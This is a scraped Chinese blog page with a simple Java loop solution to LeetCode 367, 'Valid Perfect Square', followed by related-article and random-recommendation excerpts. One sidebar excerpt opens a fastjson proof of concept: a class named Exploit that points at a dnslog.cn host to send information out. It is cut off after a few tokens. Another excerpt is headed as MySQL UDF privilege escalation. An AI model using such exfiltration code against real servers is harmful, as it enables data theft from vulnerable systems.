367. Valid Perfect Square

Easy

Given a positive integer num, write a function which returns True if num is a perfect square else False.

Note: Do not use any built-in library function such as sqrt.

Example 1:

Input: 16
Output: true

Example 2:

Input: 14
Output: false
package leetcode.easy;

public class ValidPerfectSquare {
public boolean isPerfectSquare(int num) {
for (long i = 1; i <= num; i++) {
if (i * i == num) {
return true;
} else if (i * i > num) {
break;
} else {
continue;
}
}
return false;
} @org.junit.Test
public void test() {
System.out.println(isPerfectSquare(16));
System.out.println(isPerfectSquare(14));
}
}

LeetCode_367. Valid Perfect Square的更多相关文章

  1. 367. Valid Perfect Square

    原题: 367. Valid Perfect Square 读题: 求一个整数是否为完全平方数,如1,4,9,16,……就是完全平方数,这题主要是运算效率问题 求解方法1:812ms class So ...

  2. Leetcode之二分法专题-367. 有效的完全平方数(Valid Perfect Square)

    Leetcode之二分法专题-367. 有效的完全平方数(Valid Perfect Square) 给定一个正整数 num,编写一个函数,如果 num 是一个完全平方数,则返回 True,否则返回 ...

  3. [LeetCode] Valid Perfect Square 检验完全平方数

    Given a positive integer num, write a function which returns True if num is a perfect square else Fa ...

  4. Leetcode 367. Valid Perfect Square

    Given a positive integer num, write a function which returns True if num is a perfect square else Fa ...

  5. Valid Perfect Square

    Given a positive integer num, write a function which returns True if num is a perfect square else Fa ...

  6. 【leetcode】367. Valid Perfect Square

    题目描述: Given a positive integer num, write a function which returns True if num is a perfect square e ...

  7. [Swift]LeetCode367. 有效的完全平方数 | Valid Perfect Square

    Given a positive integer num, write a function which returns True if num is a perfect square else Fa ...

  8. [leetcode]367. Valid Perfect Square验证完全平方数

    Given a positive integer num, write a function which returns True if num is a perfect square else Fa ...

  9. 367. Valid Perfect Square判断是不是完全平方数

    [抄题]: Given a positive integer num, write a function which returns True if num is a perfect square e ...

随机推荐

  1. fastjson ping外带信息poc

    public class Exploit { public Exploit(){ String base_url = ".egpkd5.dnslog.cn"; //你的dnslog ...

  2. CSS3中的display:grid网格布局介绍

    1.网格布局(grid): 它将网页划分成一个个网格,可以任意组合不同的网格,做出各种各样的布局; 2.基本概念: 容器和项目,如图所示: <div class="content&qu ...

  3. 2019.11.29 Mysql的数据操作

    为名为name的表增加数据(插入所有字段) insert into name values(1,‘张三’,‘男’,20); 为名为name的表增加数据(插入部分字段) insert into name ...

  4. 本地存储API

    一.定义 随着互联网的快速发展,基于网页的应用越来越普遍,同时也变得越来越复杂,为了满足各种各样的需求,会经常在本地存储大量的数据,HTML5规范提出了相关解决方案 本地存储设置读取方便,容量较大,s ...

  5. luogu 1714

    前缀和 + rmq #include <bits/stdc++.h> const int N = 5e5 + 10; int Pow[30], Log[N]; int n, m; int ...

  6. biiset用法

    C++ bitset--高端压位卡常题必备STL 以下内容翻译自cplusplus.com,极大地锻炼了我的英语能力. bitset存储二进制数位. bitset就像一个bool类型的数组一样,但是有 ...

  7. [提权]mysql中的UDF提权

    由于udf提权是需要构造UDF函数文件的,涉及到了写文件.所以本次实验已经将mysql的配置做了改动:–secure-file-priv=''. 剧情须知: secure_file_priv 为 NU ...

  8. GAN 原理及公式推导

    Generative Adversarial Network,就是大家耳熟能详的 GAN,由 Ian Goodfellow 首先提出,在这两年更是深度学习中最热门的东西,仿佛什么东西都能由 GAN 做 ...

  9. radio得值

    $('input[name="ylqxjylcldnbModel.jylb"]:checked').val();   <input type="radio" ...

  10. Linux 搜索查找类指令

    一.find  指令 find 指令将从指定目录向下递归遍历其各子目录,将满足条件的文件或者目录显示在终端. 基本语法 find  [搜索范围]  [选项] 选项说明 -name            ...